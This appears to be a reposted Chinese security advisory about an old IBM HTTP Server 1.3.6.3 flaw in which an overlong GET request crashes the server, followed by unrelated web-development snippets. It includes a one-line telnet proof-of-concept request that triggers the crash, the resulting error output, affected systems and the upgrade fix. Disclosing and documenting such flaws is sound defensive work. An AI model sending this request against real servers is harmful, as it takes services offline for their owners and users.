通过提交超长的GET请求导致IBM HTTP Server远程溢出

2016-01-29 12:45 50 1 收藏

通过提交超长的GET请求导致IBM HTTP Server远程溢出,通过提交超长的GET请求导致IBM HTTP Server远程溢出

【 tulaoshi.com - Java 】

涉及程序:
GET

描述:
通过提交超长的GET请求导致IBM HTTP Server远程溢出

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/java/)


详细:
IBM 的 HTTP 服务器是一个 web 服务器。在 Windows NT 使用的版本中存在拒绝服务的漏洞。

如果提交一个超过219个字符的 GET 请求,将导致服务器停止响应,并报错。要恢复服务正常工作需要重新启动应用程序。成功的利用该漏洞,攻击者可在受害的主机上执行任何代码。(但这还未得到完全证实。)


以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负


$ telnet target 80
GET /......(216个".")aaa HTTP/1.0

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/java/)

则系统会报告下列错误信息:
***STOP:0x0000001e(0X00000005,0X804B3A51,0X00000000,0X00000000)KMODE_EXCEPTI
ON_NOT_HANDLED.
***Address 804B3A51 base at 80400000,Datastamp 384D9B17-ntoskrnl.exe
注意:目标主机运行在Windows 2000下。

受影响的系统
IBM HTTP Server 1.3.6.3
- TurboLinux Turbo Linux 3.0.1
- Sun Solaris 2.6
- S.u.S.E. Linux 6.1
- S.u.S.E. Linux 6.0
- RedHat Linux 6.0 sparc
- RedHat Linux 5.2 sparc
- Microsoft Windows NT 4.0
- IBM AIX 4.2.1
- Caldera OpenLinux 2.2

解决方案:
IBM 已经在 1.3.12 版本中解决了此问题,下载地址:
http://www-4.ibm.com/software/webservers/httpservers/download.html

来源:http://www.tulaoshi.com/n/20160129/1487465.html

延伸阅读
标签: Web开发
如果使用IE5.0或者更高版本的浏览器,可以通过HTTP请求从服务器端获取XML数据。 浏览器请求 通过浏览器可以发送HTTP请求,从服务器端获取XML数据: var objHTTP = new ActiveXObject("Microsoft.XMLHTTP") objHTTP.Open('GET','httprequest.asp',false) objHTTP.Send() 下面的代码是在浏览器中显示从...
标签: Web开发
在把大量的XML作为POST数据的一部分发送给你的IIS服务器的时候——诸如在ASP表单的TEXTAREA里——你可能会得到一些没有预料到的结果。当数据在服务器上被处理的时候,由于你处理数据方式的不同,你最终可能会碰到错误。其原因是,当你把数据提交回服务器的时候,POST字段里有一个(数据)大小的限制。这样做的目的是为了防止可能的入侵者在...
标签: Web开发
在jsp里面怎么处理呢? 如我在连接a href="product.jsp?name=A&T Plastic"A&T Plastic/a,在接受参数的时候就没办法读取name参数的正确值,怎么样才能正确读取,还有其他的特殊字符 字符 特殊字符的含义 URL编码 # 用来标志特定的文档位置 %23 % 对特殊字符进行编码 %25 & 分隔不同的变量值对 %26 + 在变量值中表示空格 %2B \ 表示目录路...
标签: Web开发
代码如下: /* 防止ajax重复请求的GET和POST方法 */ jQuery.extend({ getx:function(url,data,callback,sender){ var params={url:url,data:null,callback:null,sender:null}; for(var i=1;iarguments.length;i++){ if(arguments[i]!=null){ var ptype=typeof(arguments[i]); if(ptype=="function"){ params.callback=arguments[i];...
手工发送HTTP请求主要是调用System.Net的HttpWebResponse方法手工发送HTTP的GET请求: string strURL = "http://localhost/Play/CH1/Service1.asmx/doSearch?keyword="; strURL +=this.textBox1.Text; System.Net.HttpWebRequest request; //创建一个HTTP请求 request = (System.Net.HttpWebRequest)WebRequest.Create(strURL); //re...

经验教程

729

收藏

22
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部